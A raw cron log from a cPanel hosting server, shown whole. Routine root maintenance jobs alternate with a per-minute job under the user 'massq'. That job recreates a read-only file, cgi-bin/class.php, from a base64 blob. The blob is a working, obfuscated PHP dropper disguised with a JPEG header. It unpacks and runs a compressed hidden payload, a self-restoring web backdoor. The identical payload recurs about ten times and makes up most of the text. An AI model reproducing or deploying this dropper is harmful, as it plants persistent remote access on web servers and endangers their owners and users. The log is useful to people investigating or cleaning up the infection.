Sep  3 09:29:01 server CROND[26326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:30:01 server CROND[26776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:30:01 server CROND[26777]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:30:01 server CROND[26778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:30:01 server CROND[26779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:30:01 server CROND[26782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:30:01 server CROND[26785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:30:01 server CROND[26783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:30:01 server CROND[26787]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:31:01 server CROND[27638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:31:01 server CROND[27639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:31:01 server CROND[27637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:32:01 server CROND[28029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:32:01 server CROND[28028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:32:01 server CROND[28031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:33:01 server CROND[28416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:33:01 server CROND[28418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:33:01 server CROND[28417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:34:01 server CROND[28899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:34:01 server CROND[28900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:34:01 server CROND[28901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:35:01 server CROND[29292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:35:01 server CROND[29293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:35:01 server CROND[29295]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:35:01 server CROND[29305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:35:01 server CROND[29306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:35:01 server CROND[29308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:35:02 server CROND[29301]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:35:02 server CROND[29303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:35:02 server CROND[29302]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 09:36:01 server CROND[30121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:36:01 server CROND[30123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:36:01 server CROND[30124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:37:01 server CROND[30521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:37:01 server CROND[30522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:37:01 server CROND[30523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:38:01 server CROND[30951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:38:01 server CROND[30952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:38:01 server CROND[30953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:39:01 server CROND[31483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:39:01 server CROND[31485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:39:01 server CROND[31484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:39:01 server CROND[31486]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 09:40:01 server CROND[31932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:40:01 server CROND[31933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:40:01 server CROND[31934]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:40:01 server CROND[31935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:40:01 server CROND[31936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:40:01 server CROND[31938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:40:01 server CROND[31939]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
